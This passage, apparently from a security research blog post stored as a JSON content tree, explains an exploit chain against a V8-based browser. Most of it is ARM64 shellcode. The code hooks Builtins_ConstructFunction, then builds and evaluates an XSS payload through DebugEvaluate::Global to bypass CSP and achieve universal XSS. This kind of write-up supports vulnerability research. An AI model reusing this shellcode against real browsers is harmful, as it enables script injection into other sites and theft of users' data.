#-16]!\n",{"type":25,"tag":216,"props":144186,"children":144187},{"class":6916,"line":7648},[144188],{"type":25,"tag":216,"props":144189,"children":144190},{},[144191],{"type":31,"value":144192},"str lr, [sp, #-16]!\n",{"type":25,"tag":38,"props":144194,"children":144195},{},[144196],{"type":31,"value":144197},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":25,"tag":38,"props":144199,"children":144200},{},[144201,144203,144208],{"type":31,"value":144202},"The epilogue restores all saved registers, restores the original instructions in ",{"type":25,"tag":82,"props":144204,"children":144206},{"className":144205},[],[144207],{"type":31,"value":143393},{"type":31,"value":144209},", and then returns execution to its beginning:",{"type":25,"tag":206,"props":144211,"children":144213},{"code":144212,"language":143446,"meta":7,"className":143447,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[144214],{"type":25,"tag":82,"props":144215,"children":144216},{"__ignoreMap":7},[144217,144225,144233,144241,144249,144257,144264,144271,144279,144286,144293,144301,144309,144317,144325,144333,144341,144349,144357,144365,144373,144381,144389,144397,144405,144413,144421,144428,144436,144444,144452,144460,144468,144475,144483,144491,144498],{"type":25,"tag":216,"props":144218,"children":144219},{"class":6916,"line":6917},[144220],{"type":25,"tag":216,"props":144221,"children":144222},{},[144223],{"type":31,"value":144224},"// restore original instructions of Builtins_ConstructFunction\n",{"type":25,"tag":216,"props":144226,"children":144227},{"class":6916,"line":6763},[144228],{"type":25,"tag":216,"props":144229,"children":144230},{},[144231],{"type":31,"value":144232},"ldr lr, [sp], #16\n",{"type":25,"tag":216,"props":144234,"children":144235},{"class":6916,"line":6772},[144236],{"type":25,"tag":216,"props":144237,"children":144238},{},[144239],{"type":31,"value":144240},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":25,"tag":216,"props":144242,"children":144243},{"class":6916,"line":6999},[144244],{"type":25,"tag":216,"props":144245,"children":144246},{},[144247],{"type":31,"value":144248},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":25,"tag":216,"props":144250,"children":144251},{"class":6916,"line":7104},[144252],{"type":25,"tag":216,"props":144253,"children":144254},{},[144255],{"type":31,"value":144256},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":25,"tag":216,"props":144258,"children":144259},{"class":6916,"line":7210},[144260],{"type":25,"tag":216,"props":144261,"children":144262},{"emptyLinePlaceholder":16},[144263],{"type":31,"value":7636},{"type":25,"tag":216,"props":144265,"children":144266},{"class":6916,"line":7238},[144267],{"type":25,"tag":216,"props":144268,"children":144269},{},[144270],{"type":31,"value":143799},{"type":25,"tag":216,"props":144272,"children":144273},{"class":6916,"line":7251},[144274],{"type":25,"tag":216,"props":144275,"children":144276},{},[144277],{"type":31,"value":144278},"mov x0, lr\n",{"type":25,"tag":216,"props":144280,"children":144281},{"class":6916,"line":7269},[144282],{"type":25,"tag":216,"props":144283,"children":144284},{},[144285],{"type":31,"value":143815},{"type":25,"tag":216,"props":144287,"children":144288},{"class":6916,"line":7290},[144289],{"type":25,"tag":216,"props":144290,"children":144291},{"emptyLinePlaceholder":16},[144292],{"type":31,"value":7636},{"type":25,"tag":216,"props":144294,"children":144295},{"class":6916,"line":7299},[144296],{"type":25,"tag":216,"props":144297,"children":144298},{},[144299],{"type":31,"value":144300},"// restore original registers\n",{"type":25,"tag":216,"props":144302,"children":144303},{"class":6916,"line":7551},[144304],{"type":25,"tag":216,"props":144305,"children":144306},{},[144307],{"type":31,"value":144308},"ldp x28, x29, [sp], #16\n",{"type":25,"tag":216,"props":144310,"children":144311},{"class":6916,"line":7568},[144312],{"type":25,"tag":216,"props":144313,"children":144314},{},[144315],{"type":31,"value":144316},"ldp x26, x27, [sp], #16\n",{"type":25,"tag":216,"props":144318,"children":144319},{"class":6916,"line":7585},[144320],{"type":25,"tag":216,"props":144321,"children":144322},{},[144323],{"type":31,"value":144324},"ldp x24, x25, [sp], #16\n",{"type":25,"tag":216,"props":144326,"children":144327},{"class":6916,"line":7598},[144328],{"type":25,"tag":216,"props":144329,"children":144330},{},[144331],{"type":31,"value":144332},"ldp x22, x23, [sp], #16\n",{"type":25,"tag":216,"props":144334,"children":144335},{"class":6916,"line":7607},[144336],{"type":25,"tag":216,"props":144337,"children":144338},{},[144339],{"type":31,"value":144340},"ldp x20, x21, [sp], #16\n",{"type":25,"tag":216,"props":144342,"children":144343},{"class":6916,"line":7630},[144344],{"type":25,"tag":216,"props":144345,"children":144346},{},[144347],{"type":31,"value":144348},"ldp x18, x19, [sp], #16\n",{"type":25,"tag":216,"props":144350,"children":144351},{"class":6916,"line":7639},[144352],{"type":25,"tag":216,"props":144353,"children":144354},{},[144355],{"type":31,"value":144356},"ldp x16, x17, [sp], #16\n",{"type":25,"tag":216,"props":144358,"children":144359},{"class":6916,"line":7648},[144360],{"type":25,"tag":216,"props":144361,"children":144362},{},[144363],{"type":31,"value":144364},"ldp x14, x15, [sp], #16\n",{"type":25,"tag":216,"props":144366,"children":144367},{"class":6916,"line":7716},[144368],{"type":25,"tag":216,"props":144369,"children":144370},{},[144371],{"type":31,"value":144372},"ldp x12, x13, [sp], #16\n",{"type":25,"tag":216,"props":144374,"children":144375},{"class":6916,"line":7724},[144376],{"type":25,"tag":216,"props":144377,"children":144378},{},[144379],{"type":31,"value":144380},"ldp x10, x11, [sp], #16\n",{"type":25,"tag":216,"props":144382,"children":144383},{"class":6916,"line":7754},[144384],{"type":25,"tag":216,"props":144385,"children":144386},{},[144387],{"type":31,"value":144388},"ldp x8,  x9,  [sp], #16\n",{"type":25,"tag":216,"props":144390,"children":144391},{"class":6916,"line":7762},[144392],{"type":25,"tag":216,"props":144393,"children":144394},{},[144395],{"type":31,"value":144396},"ldp x6,  x7,  [sp], #16\n",{"type":25,"tag":216,"props":144398,"children":144399},{"class":6916,"line":7794},[144400],{"type":25,"tag":216,"props":144401,"children":144402},{},[144403],{"type":31,"value":144404},"ldp x4,  x5,  [sp], #16\n",{"type":25,"tag":216,"props":144406,"children":144407},{"class":6916,"line":7802},[144408],{"type":25,"tag":216,"props":144409,"children":144410},{},[144411],{"type":31,"value":144412},"ldp x2,  x3,  [sp], #16\n",{"type":25,"tag":216,"props":144414,"children":144415},{"class":6916,"line":7862},[144416],{"type":25,"tag":216,"props":144417,"children":144418},{},[144419],{"type":31,"value":144420},"ldp x0,  x1,  [sp], #16\n",{"type":25,"tag":216,"props":144422,"children":144423},{"class":6916,"line":12995},[144424],{"type":25,"tag":216,"props":144425,"children":144426},{"emptyLinePlaceholder":16},[144427],{"type":31,"value":7636},{"type":25,"tag":216,"props":144429,"children":144430},{"class":6916,"line":13013},[144431],{"type":25,"tag":216,"props":144432,"children":144433},{},[144434],{"type":31,"value":144435},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":25,"tag":216,"props":144437,"children":144438},{"class":6916,"line":13058},[144439],{"type":25,"tag":216,"props":144440,"children":144441},{},[144442],{"type":31,"value":144443},"// it immediately, so we can clobber and use it as a return register.\n",{"type":25,"tag":216,"props":144445,"children":144446},{"class":6916,"line":13164},[144447],{"type":25,"tag":216,"props":144448,"children":144449},{},[144450],{"type":31,"value":144451},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":25,"tag":216,"props":144453,"children":144454},{"class":6916,"line":27449},[144455],{"type":25,"tag":216,"props":144456,"children":144457},{},[144458],{"type":31,"value":144459},"// where to return\n",{"type":25,"tag":216,"props":144461,"children":144462},{"class":6916,"line":27484},[144463],{"type":25,"tag":216,"props":144464,"children":144465},{},[144466],{"type":31,"value":144467},"mov x4, lr\n",{"type":25,"tag":216,"props":144469,"children":144470},{"class":6916,"line":27492},[144471],{"type":25,"tag":216,"props":144472,"children":144473},{"emptyLinePlaceholder":16},[144474],{"type":31,"value":7636},{"type":25,"tag":216,"props":144476,"children":144477},{"class":6916,"line":27500},[144478],{"type":25,"tag":216,"props":144479,"children":144480},{},[144481],{"type":31,"value":144482},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":25,"tag":216,"props":144484,"children":144485},{"class":6916,"line":27509},[144486],{"type":25,"tag":216,"props":144487,"children":144488},{},[144489],{"type":31,"value":144490},"ldp x15, lr, [sp], #16\n",{"type":25,"tag":216,"props":144492,"children":144493},{"class":6916,"line":27551},[144494],{"type":25,"tag":216,"props":144495,"children":144496},{"emptyLinePlaceholder":16},[144497],{"type":31,"value":7636},{"type":25,"tag":216,"props":144499,"children":144500},{"class":6916,"line":27584},[144501],{"type":25,"tag":216,"props":144502,"children":144503},{},[144504],{"type":31,"value":144505},"ret x4\n",{"type":25,"tag":38,"props":144507,"children":144508},{},[144509,144511,144516,144518,144523,144525,144531],{"type":31,"value":144510},"At this point, we have successfully hooked ",{"type":25,"tag":82,"props":144512,"children":144514},{"className":144513},[],[144515],{"type":31,"value":143393},{"type":31,"value":144517}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":25,"tag":82,"props":144519,"children":144521},{"className":144520},[],[144522],{"type":31,"value":143909},{"type":31,"value":144524}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":25,"tag":82,"props":144526,"children":144528},{"className":144527},[],[144529],{"type":31,"value":144530},"Builtins_GlobalEval",{"type":31,"value":179},{"type":25,"tag":38,"props":144533,"children":144534},{},[144535,144540,144542,144547,144549,144554],{"type":25,"tag":82,"props":144536,"children":144538},{"className":144537},[],[144539],{"type":31,"value":144530},{"type":31,"value":144541}," takes a single ",{"type":25,"tag":82,"props":144543,"children":144545},{"className":144544},[],[144546],{"type":31,"value":51889},{"type":31,"value":144548}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":25,"tag":82,"props":144550,"children":144552},{"className":144551},[],[144553],{"type":31,"value":41505},{"type":31,"value":1466},{"type":25,"tag":206,"props":144556,"children":144558},{"code":144557,"language":33066,"meta":7,"className":33064,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[144559],{"type":25,"tag":82,"props":144560,"children":144561},{"__ignoreMap":7},[144562,144575,144582,144589,144632,144654,144680],{"type":25,"tag":216,"props":144563,"children":144564},{"class":6916,"line":6917},[144565,144570],{"type":25,"tag":216,"props":144566,"children":144567},{"style":7041},[144568],{"type":31,"value":144569},"BUILTIN",{"type":25,"tag":216,"props":144571,"children":144572},{"style":6958},[144573],{"type":31,"value":144574},"(GlobalEval) {\n",{"type":25,"tag":216,"props":144576,"children":144577},{"class":6916,"line":6763},[144578],{"type":25,"tag":216,"props":144579,"children":144580},{"style":6958},[144581],{"type":31,"value":131079},{"type":25,"tag":216,"props":144583,"children":144584},{"class":6916,"line":6772},[144585],{"type":25,"tag":216,"props":144586,"children":144587},{"emptyLinePlaceholder":16},[144588],{"type":31,"value":7636},{"type":25,"tag":216,"props":144590,"children":144591},{"class":6916,"line":6999},[144592,144597,144602,144606,144611,144615,144619,144623,144628],{"type":25,"tag":216,"props":144593,"children":144594},{"style":6958},[144595],{"type":31,"value":144596},"  if (!Builtins::",{"type":25,"tag":216,"props":144598,"children":144599},{"style":7369},[144600],{"type":31,"value":144601},"AllowDynamicFunction",{"type":25,"tag":216,"props":144603,"children":144604},{"style":6958},[144605],{"type":31,"value":1844},{"type":25,"tag":216,"props":144607,"children":144608},{"style":7369},[144609],{"type":31,"value":144610},"isolate",{"type":25,"tag":216,"props":144612,"children":144613},{"style":6958},[144614],{"type":31,"value":7020},{"type":25,"tag":216,"props":144616,"children":144617},{"style":7369},[144618],{"type":31,"value":119009},{"type":25,"tag":216,"props":144620,"children":144621},{"style":6958},[144622],{"type":31,"value":7020},{"type":25,"tag":216,"props":144624,"children":144625},{"style":7369},[144626],{"type":31,"value":144627},"target_global_proxy",{"type":25,"tag":216,"props":144629,"children":144630},{"style":6958},[144631],{"type":31,"value":39151},{"type":25,"tag":216,"props":144633,"children":144634},{"class":6916,"line":7104},[144635,144640,144644,144649],{"type":25,"tag":216,"props":144636,"children":144637},{"style":6941},[144638],{"type":31,"value":144639},"    isolate",{"type":25,"tag":216,"props":144641,"children":144642},{"style":6958},[144643],{"type":31,"value":17708},{"type":25,"tag":216,"props":144645,"children":144646},{"style":7041},[144647],{"type":31,"value":144648},"CountUsage",{"type":25,"tag":216,"props":144650,"children":144651},{"style":6958},[144652],{"type":31,"value":144653},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":25,"tag":216,"props":144655,"children":144656},{"class":6916,"line":7210},[144657,144661,144666,144671,144676],{"type":25,"tag":216,"props":144658,"children":144659},{"style":6967},[144660],{"type":31,"value":20941},{"type":25,"tag":216,"props":144662,"children":144663},{"style":7041},[144664],{"type":31,"value":144665}," ReadOnlyRoots",{"type":25,"tag":216,"props":144667,"children":144668},{"style":6958},[144669],{"type":31,"value":144670},"(isolate).",{"type":25,"tag":216,"props":144672,"children":144673},{"style":7041},[144674],{"type":31,"value":144675},"undefined_value",{"type":25,"tag":216,"props":144677,"children":144678},{"style":6958},[144679],{"type":31,"value":7627},{"type":25,"tag":216,"props":144681,"children":144682},{"class":6916,"line":7238},[144683],{"type":25,"tag":216,"props":144684,"children":144685},{"style":6958},[144686],{"type":31,"value":9817},{"type":25,"tag":38,"props":144688,"children":144689},{},[144690,144692,144697],{"type":31,"value":144691},"This means we would need to patch the function further to ensure it never enters this ",{"type":25,"tag":82,"props":144693,"children":144695},{"className":144694},[],[144696],{"type":31,"value":19531},{"type":31,"value":144698}," block.",{"type":25,"tag":38,"props":144700,"children":144701},{},[144702],{"type":31,"value":144703},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":25,"tag":206,"props":144705,"children":144707},{"code":144706,"language":33066,"meta":7,"className":33064,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[144708],{"type":25,"tag":82,"props":144709,"children":144710},{"__ignoreMap":7},[144711,144722,144729,144736,144743,144751,144763,144771,144788,144818,144826,144838],{"type":25,"tag":216,"props":144712,"children":144713},{"class":6916,"line":6917},[144714,144718],{"type":25,"tag":216,"props":144715,"children":144716},{"style":7041},[144717],{"type":31,"value":144569},{"type":25,"tag":216,"props":144719,"children":144720},{"style":6958},[144721],{"type":31,"value":144574},{"type":25,"tag":216,"props":144723,"children":144724},{"class":6916,"line":6763},[144725],{"type":25,"tag":216,"props":144726,"children":144727},{"emptyLinePlaceholder":16},[144728],{"type":31,"value":7636},{"type":25,"tag":216,"props":144730,"children":144731},{"class":6916,"line":6772},[144732],{"type":25,"tag":216,"props":144733,"children":144734},{"style":6958},[144735],{"type":31,"value":131079},{"type":25,"tag":216,"props":144737,"children":144738},{"class":6916,"line":6999},[144739],{"type":25,"tag":216,"props":144740,"children":144741},{"emptyLinePlaceholder":16},[144742],{"type":31,"value":7636},{"type":25,"tag":216,"props":144744,"children":144745},{"class":6916,"line":7104},[144746],{"type":25,"tag":216,"props":144747,"children":144748},{"style":6958},[144749],{"type":31,"value":144750},"  DirectHandle\u003CJSFunction> function;\n",{"type":25,"tag":216,"props":144752,"children":144753},{"class":6916,"line":7210},[144754,144759],{"type":25,"tag":216,"props":144755,"children":144756},{"style":7041},[144757],{"type":31,"value":144758},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":25,"tag":216,"props":144760,"children":144761},{"style":6958},[144762],{"type":31,"value":7414},{"type":25,"tag":216,"props":144764,"children":144765},{"class":6916,"line":7238},[144766],{"type":25,"tag":216,"props":144767,"children":144768},{"style":6958},[144769],{"type":31,"value":144770},"      isolate, function,\n",{"type":25,"tag":216,"props":144772,"children":144773},{"class":6916,"line":7251},[144774,144779,144784],{"type":25,"tag":216,"props":144775,"children":144776},{"style":6958},[144777],{"type":31,"value":144778},"      Compiler::",{"type":25,"tag":216,"props":144780,"children":144781},{"style":7041},[144782],{"type":31,"value":144783},"GetFunctionFromValidatedString",{"type":25,"tag":216,"props":144785,"children":144786},{"style":6958},[144787],{"type":31,"value":7414},{"type":25,"tag":216,"props":144789,"children":144790},{"class":6916,"line":7269},[144791,144796,144800,144804,144808,144813],{"type":25,"tag":216,"props":144792,"children":144793},{"style":7041},[144794],{"type":31,"value":144795},"          direct_handle",{"type":25,"tag":216,"props":144797,"children":144798},{"style":6958},[144799],{"type":31,"value":1844},{"type":25,"tag":216,"props":144801,"children":144802},{"style":6941},[144803],{"type":31,"value":119009},{"type":25,"tag":216,"props":144805,"children":144806},{"style":6958},[144807],{"type":31,"value":17708},{"type":25,"tag":216,"props":144809,"children":144810},{"style":7041},[144811],{"type":31,"value":144812},"native_context",{"type":25,"tag":216,"props":144814,"children":144815},{"style":6958},[144816],{"type":31,"value":144817},"(), isolate), source,\n",{"type":25,"tag":216,"props":144819,"children":144820},{"class":6916,"line":7290},[144821],{"type":25,"tag":216,"props":144822,"children":144823},{"style":6958},[144824],{"type":31,"value":144825},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":25,"tag":216,"props":144827,"children":144828},{"class":6916,"line":7299},[144829,144834],{"type":25,"tag":216,"props":144830,"children":144831},{"style":7041},[144832],{"type":31,"value":144833},"  RETURN_RESULT_OR_FAILURE",{"type":25,"tag":216,"props":144835,"children":144836},{"style":6958},[144837],{"type":31,"value":7414},{"type":25,"tag":216,"props":144839,"children":144840},{"class":6916,"line":7551},[144841,144846,144851],{"type":25,"tag":216,"props":144842,"children":144843},{"style":6958},[144844],{"type":31,"value":144845},"      isolate, Execution::",{"type":25,"tag":216,"props":144847,"children":144848},{"style":7041},[144849],{"type":31,"value":144850},"Call",{"type":25,"tag":216,"props":144852,"children":144853},{"style":6958},[144854],{"type":31,"value":144855},"(isolate, function, target_global_proxy, {}));\n",{"type":25,"tag":38,"props":144857,"children":144858},{},[144859,144861,144866,144868,144874,144876,144882,144884,144890],{"type":31,"value":144860},"But determining the correct ",{"type":25,"tag":82,"props":144862,"children":144864},{"className":144863},[],[144865],{"type":31,"value":119009},{"type":31,"value":144867}," value, obtaining ",{"type":25,"tag":82,"props":144869,"children":144871},{"className":144870},[],[144872],{"type":31,"value":144873},"target->native_context()",{"type":31,"value":144875},", and locating the ",{"type":25,"tag":82,"props":144877,"children":144879},{"className":144878},[],[144880],{"type":31,"value":144881},"direct_handle",{"type":31,"value":144883}," function, just to make a proper call to ",{"type":25,"tag":82,"props":144885,"children":144887},{"className":144886},[],[144888],{"type":31,"value":144889},"Compiler::GetFunctionFromValidatedString",{"type":31,"value":144891},", seemed unnecessarily cumbersome.",{"type":25,"tag":38,"props":144893,"children":144894},{},[144895,144897,144903],{"type":31,"value":144896},"Instead, we found a much simpler option with no security checks: ",{"type":25,"tag":82,"props":144898,"children":144900},{"className":144899},[],[144901],{"type":31,"value":144902},"DebugEvaluate::Global",{"type":31,"value":144904},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":25,"tag":38,"props":144906,"children":144907},{},[144908],{"type":31,"value":144909},"For our needs, it is straightforward to call:",{"type":25,"tag":206,"props":144911,"children":144913},{"code":144912,"language":33066,"meta":7,"className":33064,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[144914],{"type":25,"tag":82,"props":144915,"children":144916},{"__ignoreMap":7},[144917,144965,144994,145015],{"type":25,"tag":216,"props":144918,"children":144919},{"class":6916,"line":6917},[144920,144925,144929,144933,144938,144943,144947,144952,144956,144961],{"type":25,"tag":216,"props":144921,"children":144922},{"style":7369},[144923],{"type":31,"value":144924},"MaybeDirectHandle",{"type":25,"tag":216,"props":144926,"children":144927},{"style":6958},[144928],{"type":31,"value":9751},{"type":25,"tag":216,"props":144930,"children":144931},{"style":7369},[144932],{"type":31,"value":52814},{"type":25,"tag":216,"props":144934,"children":144935},{"style":6958},[144936],{"type":31,"value":144937},"> DebugEvaluate::",{"type":25,"tag":216,"props":144939,"children":144940},{"style":7041},[144941],{"type":31,"value":144942},"Global",{"type":25,"tag":216,"props":144944,"children":144945},{"style":6958},[144946],{"type":31,"value":1844},{"type":25,"tag":216,"props":144948,"children":144949},{"style":7369},[144950],{"type":31,"value":144951},"Isolate",{"type":25,"tag":216,"props":144953,"children":144954},{"style":6930},[144955],{"type":31,"value":8513},{"type":25,"tag":216,"props":144957,"children":144958},{"style":6941},[144959],{"type":31,"value":144960}," isolate",{"type":25,"tag":216,"props":144962,"children":144963},{"style":6958},[144964],{"type":31,"value":7459},{"type":25,"tag":216,"props":144966,"children":144967},{"class":6916,"line":6763},[144968,144973,144977,144981,144985,144990],{"type":25,"tag":216,"props":144969,"children":144970},{"style":7369},[144971],{"type":31,"value":144972},"                                                Handle",{"type":25,"tag":216,"props":144974,"children":144975},{"style":6958},[144976],{"type":31,"value":9751},{"type":25,"tag":216,"props":144978,"children":144979},{"style":7369},[144980],{"type":31,"value":51889},{"type":25,"tag":216,"props":144982,"children":144983},{"style":6958},[144984],{"type":31,"value":9766},{"type":25,"tag":216,"props":144986,"children":144987},{"style":6941},[144988],{"type":31,"value":144989},"source",{"type":25,"tag":216,"props":144991,"children":144992},{"style":6958},[144993],{"type":31,"value":7459},{"type":25,"tag":216,"props":144995,"children":144996},{"class":6916,"line":6772},[144997,145002,145007,145011],{"type":25,"tag":216,"props":144998,"children":144999},{"style":6958},[145000],{"type":31,"value":145001},"                                                debug::",{"type":25,"tag":216,"props":145003,"children":145004},{"style":7369},[145005],{"type":31,"value":145006},"EvaluateGlobalMode",{"type":25,"tag":216,"props":145008,"children":145009},{"style":6941},[145010],{"type":31,"value":110226},{"type":25,"tag":216,"props":145012,"children":145013},{"style":6958},[145014],{"type":31,"value":7459},{"type":25,"tag":216,"props":145016,"children":145017},{"class":6916,"line":6999},[145018,145023,145028],{"type":25,"tag":216,"props":145019,"children":145020},{"style":7369},[145021],{"type":31,"value":145022},"                                                REPLMode",{"type":25,"tag":216,"props":145024,"children":145025},{"style":6941},[145026],{"type":31,"value":145027}," repl_mode",{"type":25,"tag":216,"props":145029,"children":145030},{"style":6958},[145031],{"type":31,"value":7791},{"type":25,"tag":38,"props":145033,"children":145034},{},[145035,145037,145042,145044,145049,145051,145056,145058,145064,145065,145071],{"type":31,"value":145036},"We must supply the ",{"type":25,"tag":82,"props":145038,"children":145040},{"className":145039},[],[145041],{"type":31,"value":144610},{"type":31,"value":145043}," pointer, a ",{"type":25,"tag":82,"props":145045,"children":145047},{"className":145046},[],[145048],{"type":31,"value":51889},{"type":31,"value":145050}," object containing our XSS payload as ",{"type":25,"tag":82,"props":145052,"children":145054},{"className":145053},[],[145055],{"type":31,"value":144989},{"type":31,"value":145057},", and the ",{"type":25,"tag":82,"props":145059,"children":145061},{"className":145060},[],[145062],{"type":31,"value":145063},"mode",{"type":31,"value":1301},{"type":25,"tag":82,"props":145066,"children":145068},{"className":145067},[],[145069],{"type":31,"value":145070},"repl_mode",{"type":31,"value":145072}," values, which are simple enum literals.",{"type":25,"tag":38,"props":145074,"children":145075},{},[145076,145078,145083,145085,145091,145093,145098,145100,145105,145107,145113,145115,145121,145123,145128,145130,145135,145137,145142,145144,145149],{"type":31,"value":145077},"To obtain the ",{"type":25,"tag":82,"props":145079,"children":145081},{"className":145080},[],[145082],{"type":31,"value":144610},{"type":31,"value":145084}," pointer within our shellcode, we call ",{"type":25,"tag":82,"props":145086,"children":145088},{"className":145087},[],[145089],{"type":31,"value":145090},"Isolate::TryGetCurrent()",{"type":31,"value":145092},", which returns the current ",{"type":25,"tag":82,"props":145094,"children":145096},{"className":145095},[],[145097],{"type":31,"value":144610},{"type":31,"value":145099},". To construct a valid ",{"type":25,"tag":82,"props":145101,"children":145103},{"className":145102},[],[145104],{"type":31,"value":51889},{"type":31,"value":145106}," object holding our payload, we call ",{"type":25,"tag":82,"props":145108,"children":145110},{"className":145109},[],[145111],{"type":31,"value":145112},"v8::String::NewFromUTF8",{"type":31,"value":145114},". This ",{"type":25,"tag":82,"props":145116,"children":145118},{"className":145117},[],[145119],{"type":31,"value":145120},"NewFromUTF8",{"type":31,"value":145122}," function takes four arguments: the ",{"type":25,"tag":82,"props":145124,"children":145126},{"className":145125},[],[145127],{"type":31,"value":144610},{"type":31,"value":145129},", the string bytes as ",{"type":25,"tag":82,"props":145131,"children":145133},{"className":145132},[],[145134],{"type":31,"value":7663},{"type":31,"value":145136},", an enum literal specifying the string type, and ",{"type":25,"tag":82,"props":145138,"children":145140},{"className":145139},[],[145141],{"type":31,"value":12450},{"type":31,"value":145143},", which is the size of the ",{"type":25,"tag":82,"props":145145,"children":145147},{"className":145146},[],[145148],{"type":31,"value":7663},{"type":31,"value":21116},{"type":25,"tag":38,"props":145151,"children":145152},{},[145153],{"type":31,"value":145154},"The resulting shellcode that executes our XSS payload looks like this:",{"type":25,"tag":206,"props":145156,"children":145158},{"code":145157,"language":143446,"meta":7,"className":143447,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[145159],{"type":25,"tag":82,"props":145160,"children":145161},{"__ignoreMap":7},[145162,145170,145178,145186,145194,145202,145210,145218,145226,145234,145242,145250,145258,145265,145273,145281,145289,145297,145304,145312,145319,145327,145335,145342,145349,145356,145363,145370,145377,145385,145393,145400,145408,145416,145423,145431,145439,145446,145453,145461,145469,145477,145484,145492,145500,145508,145516,145524,145532,145540,145548,145556,145564,145572,145579,145587,145595,145602,145610,145618,145626,145634,145641,145649,145656,145663,145671,145679,145687,145695,145704,145713,145721],{"type":25,"tag":216,"props":145163,"children":145164},{"class":6916,"line":6917},[145165],{"type":25,"tag":216,"props":145166,"children":145167},{},[145168],{"type":31,"value":145169},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":25,"tag":216,"props":145171,"children":145172},{"class":6916,"line":6763},[145173],{"type":25,"tag":216,"props":145174,"children":145175},{},[145176],{"type":31,"value":145177},"movz x1, #0xf7a0\n",{"type":25,"tag":216,"props":145179,"children":145180},{"class":6916,"line":6772},[145181],{"type":25,"tag":216,"props":145182,"children":145183},{},[145184],{"type":31,"value":145185},"movk x1, #0x0071, lsl #16\n",{"type":25,"tag":216,"props":145187,"children":145188},{"class":6916,"line":6999},[145189],{"type":25,"tag":216,"props":145190,"children":145191},{},[145192],{"type":31,"value":145193},"add x9, x12, x1\n",{"type":25,"tag":216,"props":145195,"children":145196},{"class":6916,"line":7104},[145197],{"type":25,"tag":216,"props":145198,"children":145199},{},[145200],{"type":31,"value":145201},"movz x1, 